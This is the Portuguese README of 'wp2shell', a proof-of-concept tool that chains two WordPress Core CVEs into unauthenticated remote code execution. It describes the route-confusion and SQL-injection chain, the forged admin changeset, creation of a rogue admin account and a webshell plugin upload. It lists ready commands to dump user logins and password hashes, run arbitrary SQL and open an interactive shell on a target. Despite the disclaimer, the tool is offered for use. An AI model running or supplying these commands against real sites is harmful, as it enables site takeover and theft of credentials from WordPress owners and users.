
Cadeia de RCE proof-of-concept para CVE-2026-63030 e CVE-2026-60137
⚠ Esta ferramenta foi criada exclusivamente para fins educacionais ou de bug bounty. O uso não autorizado fora de ambientes controlados é estritamente proibido.
Prova de conceito para a cadeia de vulnerabilidades wp2shell que afeta o WordPress Core, combinando CVE-2026-63030 e CVE-2026-60137. O projeto demonstra a interação entre a vulnerabilidade de confusão de rota do REST API Batch e uma injeção SQL no WP_Query, resultando em um caminho não autenticado para o comprometimento total do WordPress e execução remota de código (RCE).
Leia o advisory completo aqui
wp2shell é uma cadeia de RCE pré-autenticação no core do WordPress, combinando CVE-2026-63030 (confusão de rota no endpoint REST de batch) e CVE-2026-60137 (injeção SQL no WP_Query).
A confusão de rota: /wp-json/batch/v1 processa múltiplas sub-requisições através de arrays paralelos $matches e $validation indexados por posição. Uma sub-requisição com um caminho malformado (por exemplo, http://:) é anexada a $validation mas não a devido a uma instrução , dessincronizando os arrays. Requisições posteriores são despachadas sob o handler destinado à requisição, contornando a validação de schema e as verificações de permissão.
$matchescontinueA injeção SQL: Duas chamadas de batch aninhadas exploram isso. O batch externo contorna a allow-list de métodos (que normalmente bloqueia GET). O batch interno entrega uma string escalar author_exclude para GET /wp/v2/posts - a dessincronização a roteia além da validação, e o WP_Query interpola a string não sanitizada diretamente no SQL, produzindo uma injeção cega baseada em UNION.
Envenenamento de cache: A SQLi retorna objetos WP_Post forjados, que o WordPress armazena em cache na memória. Esses posts falsos contêm shortcodes [embed] que fazem o WordPress criar linhas reais de oembed_cache no banco de dados a partir das referências falsas.
Escalação de changeset: Usando a SQLi, o atacante forja um post customize_changeset em memória com "user_id": 1 em seu JSON. Um gadget de detecção de ciclo dispara wp_update_post() sem sobrescrever post_content, preservando o payload do atacante. A aplicação do changeset assume temporariamente a identidade do administrador.
Reentrada de hook: Um post fabricado com status parse e tipo request dispara o hook parse_request, reproduzindo toda a requisição de batch com o papel de admin assumido. Desta vez, uma sub-requisição POST /wp/v2/users é bem-sucedida, criando uma nova conta de admin.
Execução de código: O atacante faz login como o admin criado e envia um plugin malicioso para executar comandos arbitrários.
| Versão | Status |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnerável |
| WordPress 7.0.0 – 7.0.1 | Vulnerável |
| WordPress 6.9.5 | Corrigida |
| WordPress 7.0.2+ | Corrigida |
Para usar este PoC, o único requisito é Python 3.8+.
Execute-o a partir do diretório do repositório para realizar uma verificação de vulnerabilidade:
wp2shell.py http://victim.com
Realiza uma única verificação de vulnerabilidade. Envia uma sonda de marcador de batch benigna que detecta o bug de confusão de rota sem executar payloads de SQLi. Um alvo vulnerável retorna HTTP 207 com o padrão de erro parse_path_failed, block_cannot_read e rest_batch_not_allowed.
Use --confirm-sqli para também enviar um payload ativo de confirmação de SQLi. A confirmação tenta primeiro a reflexão UNION, depois recorre a sondas baseadas em timing.
Verificar alvo único (modo padrão)
wp2shell.py http://target.com
Verificar com modo explícito
Check with explicit mode
wp2shell.py http://target.com --check
Verificar com confirmação de SQLi
wp2shell.py http://target.com --check --confirm-sqli
Extrai dados do banco de dados usando a injeção SQL pré-autenticação. Por padrão usa --technique auto, que tenta os métodos disponíveis nesta ordem:
WP_Post falsa via UNION e lê seu título de volta da resposta REST como ||HEX(value)||. Uma requisição por valor. Mais rápido.EXTRACTVALUE/UPDATEXML para vazar ~15 bytes por requisição. Funciona quando o alvo reflete erros do MySQL (por exemplo, WP_DEBUG_DISPLAY ativado).X-WP-Total como o sinal de verdadeiro/falso. Funciona mesmo quando nenhum dado é refletido.Force uma técnica específica com --technique union|error|blind. Esses caminhos de leitura são somente leitura e não escrevem no banco de dados.
Fingerprint do servidor (consulta padrão)
wp2shell.py http://target.com --read
Dump de logins e hashes de senha
wp2shell.py http://target.com --read --preset users
Consulta SQL personalizada
wp2shell.py http://target.com --read --query "SELECT @@version"
Forçar técnica blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Extrair com técnica baseada em erro
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Executa comandos no servidor alvo. Funciona em dois modos:
Com credenciais (faz login como admin existente e envia plugin shell):
Executar comando específico
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interativo
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Sem credenciais (RCE pré-autenticação - executa a ponte completa SQLi→admin, faz login como admin gerado, depois envia plugin shell):
Executar comando único
wp2shell.py http://target.com --shell --cmd id
Shell interativo
wp2shell.py http://target.com --shell --interactive
O webshell do plugin é enviado com um caminho aleatório e um token por execução. O webshell enviado é removido automaticamente. Quando a ponte pré-autenticação cria um administrador, essa conta gerada é removida automaticamente após o término da sessão de shell.
Lista de todas as flags:
| Flag | Descrição |
|---|---|
--check | Executa verificação de vulnerabilidade (modo padrão se nenhum outro modo for especificado) |
--read | Extrai dados via injeção SQL |
--shell | Executa comandos no servidor |
--query | Consulta SQL personalizada para o modo read |
--preset | Preset de consulta predefinido (users, config, versions) |
--technique | Técnica de extração SQLi: union, error, blind ou auto (padrão) |
--confirm-sqli | Envia payload de confirmação de SQLi após a verificação |
--cmd | Comando a executar no modo shell (padrão: id) |
--interactive, -i | Modo shell interativo |
--user | Nome de usuário admin para shell autenticado |
--password | Senha admin para shell autenticado |
--proxy | Proxy HTTP/HTTPS (por exemplo, http://127.0.0.1:8080) |
--timeout | Timeout de requisição em segundos (padrão: 30) |
--verbose, -v | Saída detalhada |
Esta ferramenta foi criada exclusivamente para fins educacionais ou de bug bounty. O uso não autorizado fora de ambientes controlados é estritamente proibido.